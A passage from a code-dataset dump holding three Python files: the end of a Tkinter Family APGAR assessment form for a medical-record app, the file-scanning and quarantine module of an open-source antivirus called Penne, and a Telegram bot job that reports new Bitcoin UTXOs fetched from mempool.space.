cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tself.res_bttn.config(state = \"disabled\")\n\t\telse:\n\t\t\tself.res_bttn.config(state = \"normal\")\n\n\t\tfor i in range(5):\n\t\t\tself.apgar_var[i][0].set(0)\n\t\t\tself.apgar_var[i][1].set(0)\n\t\t\tself.apgar_var[i][2].set(0)\n\t\t\tself.apgar_var[i][3].set(0)\n\t\t\tself.apgar_var[i][4].set(0)\n\t\t\tself.apgar_var[i][5].set(0)\n\n\t\t\tself.apgar_cb[i][0].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][1].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][2].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][3].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][4].config(state=\"normal\")\n\t\t\tself.apgar_cb[i][5].config(state=\"normal\")\n\n\t\t\tself.average[i]['text'] = \"\"\n\n\t\t\tself.vote_1_arr[i] = 0\n\t\t\tself.vote_2_arr[i] = 0\n\t\t\tself.avg_vote[i] = 0\n\n\t\tself.vote_1 = 0\n\t\tself.vote_2 = 0\n\t\tself.overall_f1_txt['text'] = \"\"\n\t\tself.overall_f2_txt['text'] = \"\"\n\t\tself.overall_avg_txt['text'] = \"\" \n\n\tdef check_cb(self, cb_arr, cb_var_arr, i, average, index):\n\t\tif i < 3:\n\t\t\tif i == 0:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"normal\")\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\telif i == 1:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1 = self.vote_1 + 1\n\t\t\t\t\tself.vote_1_arr[index] = 1\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tself.vote_1 = self.vote_1 - 1\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\t\telse:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_1 = self.vote_1 + 2\n\t\t\t\t\tself.vote_1_arr[index] = 2\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"normal\")\n\t\t\t\t\tself.vote_1 = self.vote_1 - 2\n\t\t\t\t\tself.vote_1_arr[index] = 0\n\t\telse:\n\t\t\tif i == 3:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+2].config(state=\"normal\")\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\telif i == 4:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2 = self.vote_2 + 1\n\t\t\t\t\tself.vote_2_arr[index] = 1\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i+1].config(state=\"normal\")\n\t\t\t\t\tself.vote_2 = self.vote_2 - 1\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\t\t\telse:\n\t\t\t\tif cb_var_arr[i].get() == 1:\n\t\t\t\t\tcb_arr[i-1].config(state=\"disabled\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"disabled\")\n\t\t\t\t\tself.vote_2 = self.vote_2 + 2\n\t\t\t\t\tself.vote_2_arr[index] = 2\n\t\t\t\telse:\n\t\t\t\t\tcb_arr[i-1].config(state=\"normal\")\n\t\t\t\t\tcb_arr[i-2].config(state=\"normal\")\n\t\t\t\t\tself.vote_2 = self.vote_2 - 2\n\t\t\t\t\tself.vote_2_arr[index] = 0\n\n\t\tfor i in range(5):\n\t\t\ttemp_avg = (self.vote_1_arr[i] + self.vote_2_arr[i]) / 2\n\t\t\tself.average[i]['text'] = str(temp_avg)\n\t\t\tself.avg_vote[i] = temp_avg\n\n\t\tself.avg_value = 0\n\t\tfor i in range(len(self.avg_vote)):\n\t\t\tself.avg_value = self.avg_value + self.avg_vote[i]\n\n\t\tif self.avg_value <= 3:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) +\" - Severely dysfunctional\" \n\t\telif self.avg_value <= 6:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_avg_txt['text'] = str(self.avg_value) + \" - Highly functional\"\n\n\n\t\tif self.vote_1 <= 3:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) +\" - Severely dysfunctional\" \n\t\telif self.vote_1 <= 6:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_f1_txt['text'] = str(self.vote_1) + \" - Highly functional\"\n\n\t\tif self.vote_2 <= 3:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) +\" - Severely dysfunctional\" \n\t\telif self.vote_2 <= 6:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) + \" - Moderately dysfunctional\" \n\t\telse:\n\t\t\tself.overall_f2_txt['text'] = str(self.vote_2) + \" - Highly functional\"\n\n\tdef submit(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\t\tif res is None:\n\t\t\tcur.execute((\"INSERT INTO patientfamassessment (fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score, patient_id) VALUES (%s, %s, %s, %s)\"), (int(self.vote_1), int(self.vote_2), int(self.avg_value), self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\t\telse:\n\t\t\tcur.execute((\"UPDATE patientfamassessment SET fam_1_apgar_score = %s, fam_2_apgar_score = %s, avg_apgar_score = %s WHERE patient_id = %s\"), (int(self.vote_1), int(self.vote_2), int(self.avg_value), self.controller.patient_id.get()))\n\t\t\tmydb.commit()\n\n\t\tself.res_bttn.config(state = \"normal\")\n\nclass family_apgar_form_res(tk.Frame): # Form for viewing of previous Family APGAR results only\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\tmenu_frame(self, self.controller, 4)\n\t\tsubmenu_buttons_2(self, self.controller, 2)\n\n\t\tself.title_font = tkfont.Font(family='Times New Roman', size=12, weight=\"bold\")\n\t\tself.subtitle_font = tkfont.Font(family='Helvetica', size=12, weight=\"bold\")\n\t\tself.label_font = tkfont.Font(family='Helvetica', size=8, slant=\"italic\")\n\t\tself.label_font2 = tkfont.Font(family='Helvetica', size=8, weight=\"bold\")\n\t\tself.label_font3 = tkfont.Font(family='Helvetica', size=10, weight=\"bold\", slant=\"italic\")\n\n\t\tform_frame = tk.Frame(self, height = 720, width = 1000)\n\t\tform_frame.pack(side=\"left\")\n\n\t\tquestion_label = tk.Label(form_frame, text=\"Results of the Previous APGAR\", font=self.subtitle_font)\n\t\tquestion_label.place(x=110, y=60)\n\n\t\ty_value = 70\n\n\t\tfam_num_1_label = tk.Label(form_frame, text=\"Family Member 1: \", font=self.label_font3, fg =\"#636362\")\n\t\tfam_num_1_label.place(x=110, y=100)\n\n\t\tfam_num_2_label = tk.Label(form_frame, text=\"Family Member 2: \", font=self.label_font3, fg =\"#636362\")\n\t\tfam_num_2_label.place(x=110, y=150)\n\n\t\taverage_label = tk.Label(form_frame, text=\"Average: \", font=self.label_font3, fg =\"#636362\")\n\t\taverage_label.place(x=110, y=200)\n\n\t\tself.fam_num_1_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.fam_num_1_score.place(x=280, y=100)\n\n\t\tself.fam_num_2_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.fam_num_2_score.place(x=280, y=150)\n\n\t\tself.average_score = tk.Label(form_frame, text=\"\", font=self.title_font)\n\t\tself.average_score.place(x=280, y=200)\n\n\t\tself.res_bttn = tk.Button(form_frame, text=\"Return\", command=lambda: controller.show_frame(\"family_apgar_form\"), height = 1, width = 12, bd = 0, bg = \"#183873\", fg = \"#ffffff\")\n\t\tself.res_bttn.place(x=820, y=580)\n\n\tdef load_data(self):\n\t\tcn = cfg.dbconnect()\n\t\tcur = cn.cursor(buffered=True)\n\t\t\n\t\tself.fam_num_1_score['text'] = \"\"\n\t\tself.fam_num_2_score['text'] = \"\"\n\t\tself.average_score['text'] = \"\"\n\n\t\tcur.execute((\"SELECT fam_1_apgar_score, fam_2_apgar_score, avg_apgar_score FROM patientfamassessment WHERE patient_id = %s\"), (self.controller.patient_id.get(),))\n\t\tres = cur.fetchone()\n\n\t\tif res is not None:\n\t\t\tif res[0] is not None:\n\t\t\t\tif int(res[0]) <= 3:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[0]) <= 6:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.fam_num_1_score['text'] = str(res[0]) + \" - Highly functional\"\n\n\t\t\tif res[1] is not None:\n\t\t\t\tif int(res[1]) <= 3:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[1]) <= 6:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.fam_num_2_score['text'] = str(res[1]) + \" - Highly functional\"\n\n\t\t\tif res[2] is not None:\n\t\t\t\tif int(res[2]) <= 3:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) +\" - Severely dysfunctional\" \n\t\t\t\telif int(res[2]) <= 6:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) + \" - Moderately dysfunctional\" \n\t\t\t\telse:\n\t\t\t\t\tself.average_score['text'] = str(res[2]) + \" - Highly functional\"\t\n\t\telse:\n\t\t\tself.fam_num_1_score['text'] = \"\"\n\t\t\tself.fam_num_2_score['text'] = \"\"\n\t\t\tself.average_score['text'] = \"\"\n","repo_name":"jioGRAPHI/Family-Oriented-Medical-Record","sub_path":"forms/family_assessment_tools.py","file_name":"family_assessment_tools.py","file_ext":"py","file_size_in_byte":26995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11616139357","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport json\nimport shutil\nimport pathlib\nimport binascii\nimport threading\nimport platform\n\nfrom stat import (\n S_IREAD,\n S_IRGRP,\n S_IROTH\n)\n\nimport termcolor\n\nfrom penne.lib.settings import (\n log,\n beep,\n get_hash,\n DEFAULT_MOVE_DIRECTORY,\n COMPLETED_RESULTS,\n FINISHED_FILES_JSON_LIST,\n random_string,\n pause,\n WORKERS,\n StoppableThread,\n yara_checker,\n sort_yara_rule_output,\n load_user_defined,\n contains\n)\nfrom penne.quarantine.noodler import (\n spicy_file,\n check_prem\n)\nfrom penne.quarantine.db_create import pull_sig\n\n\ndef walk(top, threads=12):\n if not os.path.isdir(top):\n yield None\n lock = threading.Lock()\n on_input = threading.Condition(lock)\n on_output = threading.Condition(lock)\n state = {'tasks': 1}\n paths = [top]\n output = []\n\n def worker():\n while True:\n with lock:\n while True:\n if not state['tasks']:\n output.append(None)\n on_output.notify()\n return\n if not paths:\n on_input.wait()\n continue\n path = paths.pop()\n break\n try:\n dirs = []\n files = []\n for item in sorted(os.listdir(path)):\n subpath = os.path.join(path, item)\n if os.path.isdir(subpath):\n dirs.append(item)\n with lock:\n state['tasks'] += 1\n paths.append(subpath)\n on_input.notify()\n else:\n files.append(item)\n with lock:\n output.append((path, dirs, files))\n on_output.notify()\n except OSError:\n pass\n finally:\n with lock:\n state['tasks'] -= 1\n if not state['tasks']:\n on_input.notifyAll()\n\n tmp_worker = [StoppableThread(target=worker, name=\"penneio.stoppable.walk %d %s\" % (i, top)) for i in range(threads)]\n for w in tmp_worker:\n WORKERS.append(w)\n for w in WORKERS:\n w.start()\n while threads or output:\n with lock:\n while not output:\n on_output.wait()\n item = output.pop()\n if item:\n yield item\n else:\n threads -= 1\n\n\ndef do_yara_rule_check(filename):\n results = check_prem()\n if results[\"Success\"]:\n results = yara_checker(results[\"Endpoint\"], filename, results[\"API_KEY\"])\n else:\n results = {\"yara_rules\": []}\n return results\n\n\ndef do_quarn(f, detection_type, arch, detected_as):\n parts = pathlib.Path(f)\n filename = parts.name\n path = parts.parent\n quarantine_results = spicy_file(path, filename, detection_type, arch, detected_as)\n if quarantine_results[\"Success\"]:\n log.info(\"file sent to cold storage at: {}\".format(quarantine_results[\"ColdFile\"]))\n else:\n log.warn(\"we were unable to send file to cold storage\")\n\n\ndef run_user_defined(filename, user_defined_list):\n signature_list = user_defined_list\n for signature in signature_list:\n with open(signature) as sig, open(filename, \"rb\") as src:\n data = sig.read().split(\":\")\n _, type_, bytes_read, os_filler, signature_ = data[0], data[1], int(data[2]), data[3], data[4]\n src_data = binascii.hexlify(src.read(bytes_read))\n if src_data == signature_:\n return os_filler, get_hash(filename), type_\n return None\n\n\ndef check_signature(filename, do_beep=True, user_defined_list=[]):\n byte_sizes = (1024, 2048, 4096)\n with open(filename, \"rb\") as f:\n for b in byte_sizes:\n data = binascii.hexlify(f.read(b)).decode()\n matches = pull_sig(data, b)\n if matches['Success']:\n if do_beep:\n beep()\n termcolor.cprint(\n \"\\nMatch found:\\nPath: {}\\nOS Type: {}\\nSHA-256: {}\\nWarning Type: {}\\n\".format(\n filename, matches['OS'], matches['Hash'], matches['Warning']\n )\n )\n retval = [True, matches[\"Warning\"]]\n else:\n results = run_user_defined(filename, user_defined_list)\n if results is not None:\n termcolor.cprint(\n \"\\nUser Defined Match found:\\nPath: {}\\nOS Type: {}\\nSHA-256: {}\\nWarning Type: {}\\n\".format(\n filename, results[0], results[1], results[-1]\n )\n )\n retval = [True, results[-1]]\n else:\n retval = [False, None]\n return retval\n\n\ndef move_detected_file(source, detection, detected_as=\"EVIL AF\"):\n architecture = platform.architecture()\n file_dest_hash = get_hash(source)\n file_dest_path = \"{}/{}_{}\".format(DEFAULT_MOVE_DIRECTORY, file_dest_hash, random_string(length=30))\n try:\n shutil.move(source, file_dest_path)\n except:\n log.warning(\"unable to move file, going to copy it instead and change originals permissions to read only\")\n shutil.copy(source, file_dest_path)\n try:\n os.chmod(source, S_IREAD | S_IRGRP | S_IROTH)\n except:\n log.error(\"unable to change original source files permissions ({})\".format(source))\n try:\n os.chmod(file_dest_path, S_IREAD | S_IRGRP | S_IROTH)\n except:\n log.warn(\"unable to change file attributes to read only\")\n do_quarn(source, detection, architecture, detected_as)\n return file_dest_path\n\n\ndef finish_scan():\n\n def percent(part, whole):\n try:\n try:\n return str(100 * part/whole)[0:5]\n except:\n return 100 * part/whole\n except ZeroDivisionError:\n return 0\n\n def show_opts():\n retval = \"\"\n if len(COMPLETED_RESULTS[\"infected_files\"]) != 0:\n retval += \"to see the list of infected files run: penneav --infected\\n\"\n if len(COMPLETED_RESULTS[\"moved_files\"]) != 0:\n retval += \"to see the files that were moved run: penneav --moved\\n\"\n if len(COMPLETED_RESULTS[\"unable_to_scan\"]) != 0:\n retval += \"to see files that were unable to be scanned run: penneav --unable\\n\"\n if len(COMPLETED_RESULTS[\"unable_to_cold_store\"]) != 0:\n retval += \"to see the files that failed cold storage run: penneav --failed\\n\"\n return retval\n\n if not os.path.exists(FINISHED_FILES_JSON_LIST):\n attribute = \"a+\"\n else:\n attribute = \"w\"\n percentage = percent(COMPLETED_RESULTS[\"total_scanned\"], COMPLETED_RESULTS[\"total_found\"])\n with open(FINISHED_FILES_JSON_LIST, attribute) as res:\n data = {\n \"infected\": COMPLETED_RESULTS[\"infected_files\"],\n \"unable\": COMPLETED_RESULTS[\"unable_to_scan\"],\n \"moved\": COMPLETED_RESULTS[\"moved_files\"],\n \"failed\": COMPLETED_RESULTS[\"unable_to_cold_store\"]\n }\n json.dump(data, res)\n log.info(\"scanning finished\")\n termcolor.cprint(\n \"\\n\\nSCAN RESULTS:\\n\"\n \"{}\\n\"\n \"FINISHED SCANNING: {}\\n\"\n \"FILES MOVED: {}\\n\"\n \"UNABLE TO BE SCANNED: {}\\n\"\n \"INFECTED FILES FOUND: {}\\n\"\n \"FAILED COLD STORAGE: {}\\n\"\n \"TOTAL AMOUNT OF FILES FOUND DURING SCAN: {}\\n\"\n \"PERCENT THAT FINISHED SCANNING: {}%\"\n \"\\n{}\\n\"\n \"\\n\"\n \"{}\".format(\n \"-\" * 47,\n COMPLETED_RESULTS[\"total_scanned\"],\n len(COMPLETED_RESULTS[\"moved_files\"]),\n len(COMPLETED_RESULTS[\"unable_to_scan\"]),\n len(COMPLETED_RESULTS[\"infected_files\"]),\n len(COMPLETED_RESULTS[\"unable_to_cold_store\"]),\n COMPLETED_RESULTS[\"total_found\"],\n percentage,\n \"-\" * 47, show_opts()\n ), \"green\", attrs=[\"bold\"]\n )\n\n\ndef scan(start_dir, **kwargs):\n do_beep = kwargs.get(\"do_beep\", True)\n display_only_infected = kwargs.get(\"display_only_infected\", False)\n threads = kwargs.get(\"threads\", 12)\n move_detected = kwargs.get(\"move_detected\", False)\n follow_syms = kwargs.get(\"follow_sym\", False)\n ignored_dirs = kwargs.get(\"ignored_dirs\", [])\n ignored_files = kwargs.get(\"ignored_files\", [])\n display_yara_rules = kwargs.get(\"display_yara_rules\", True)\n skip_yara_rules = kwargs.get(\"skip_yara_rules\", False)\n\n if skip_yara_rules:\n display_yara = False\n else:\n display_yara = True\n\n walked_paths = walk(start_dir, threads=threads)\n \n user_defined = load_user_defined()\n log.info(\"loaded a total of {} user defined signature(s)\".format(len(user_defined)))\n\n for data in walked_paths:\n root, subs, files = data[0], data[1], data[-1]\n paths = [\n os.path.join(root, f) for f in files if f not in ignored_files\n ]\n for path in paths:\n if not contains(path, ignored_dirs):\n try:\n COMPLETED_RESULTS[\"total_found\"] += 1\n try:\n if not display_only_infected:\n log.debug(\"scanning file: {}\".format(path))\n if follow_syms:\n if os.path.islink(path):\n if not display_only_infected:\n log.info(\"found symlink and following\")\n path = os.path.realpath(path)\n if not display_only_infected:\n log.debug(\"real path from symlink: {}\".format(path))\n results = check_signature(path, do_beep=do_beep, user_defined_list=user_defined)\n if results[0]:\n yara_rule_results = do_yara_rule_check(path)\n if len(yara_rule_results[\"yara_rules\"]) != 0:\n log.info(\"file information discovered:\\n{}\".format(\"-\" * 30))\n if display_yara_rules:\n for item in yara_rule_results[\"yara_rules\"]:\n sort_yara_rule_output(item, display_yara_data=display_yara)\n print(\"-\" * 30)\n COMPLETED_RESULTS[\"infected_files\"].append(path)\n if move_detected:\n moved_to = move_detected_file(path, results[1])\n log.info(\"file marked to be moved and moved to: {}\".format(moved_to))\n COMPLETED_RESULTS[\"moved_files\"].append(path)\n COMPLETED_RESULTS[\"total_scanned\"] += 1\n except Exception:\n if not display_only_infected:\n log.error(\"unable to finish file scanning on filename: {}\".format(path))\n COMPLETED_RESULTS[\"unable_to_scan\"].append(path)\n except KeyboardInterrupt:\n results = pause(filename=path)\n if results:\n continue\n else:\n pass\n else:\n pass\n","repo_name":"Penetrum-Security/Penne","sub_path":"penne/scanning/scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":11638,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"44"} +{"seq_id":"21002818946","text":"import requests\nimport logging\nimport os\n\nfrom models.bitcoin.address_utxo_status import BitcoinAddressUtxoStatus\nfrom models.bitcoin.address_utxo import BitcoinAddressUtxo\nfrom models.bitcoin.address import BitcoinAddress\nfrom telegram.constants import ParseMode\n\nlogger = logging.getLogger(__name__)\nBASE_URL = \"https://mempool.space/api/\"\n\nasync def get_bitcoin_address_utxo(context):\n logger.info(f\"Fetching bitcoin address utxo's\")\n\n bitcoin_addresses = BitcoinAddress.select()\n if len(bitcoin_addresses) < 1:\n logger.info(f\"No bitcoin addressses defined\")\n return\n for address in bitcoin_addresses:\n\n url = f\"{BASE_URL}/addresss/{address.bitcoin_address}/utxo\"\n try:\n response = requests.get(url)\n\n if response.status_code == 200:\n json_response = response.json()\n\n for obj in json_response:\n if not BitcoinAddressUtxo.select().where(BitcoinAddressUtxo.transaction_id == obj['txid']).exists():\n status = obj['status']\n bitcoin_address_utxo_status = BitcoinAddressUtxoStatus.create(\n confirmed = status['confirmed'] ,\n block_height = status['block_height'],\n block_hash = status['block_hash'],\n block_time = status['block_time']\n )\n bitcoin_address_utxo_status.save()\n bitcoin_address_utxo = BitcoinAddressUtxo.create(\n transaction_id = obj['txid'],\n v_out = obj['vout'],\n value = obj['value'],\n status = bitcoin_address_utxo_status.id\n )\n\n bitcoin_address_utxo.save()\n response = f\"New utxo found:\\n{bitcoin_address_utxo.transaction_id}\"\n\n await context.bot.send_message(\n chat_id = os.getenv(\"CHAT_ID\", None),\n text = response,\n parse_mode = ParseMode.HTML\n )\n else:\n logger.error(f\"Response.status_code for {url} was {response.status_code}\")\n except Exception as exc:\n logger.error(exc, exc_info=True)","repo_name":"dsaltyfrere/crypto-telegram-bot","sub_path":"jobs/bitcoin/get_bitcoin_address_utxo.py","file_name":"get_bitcoin_address_utxo.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"}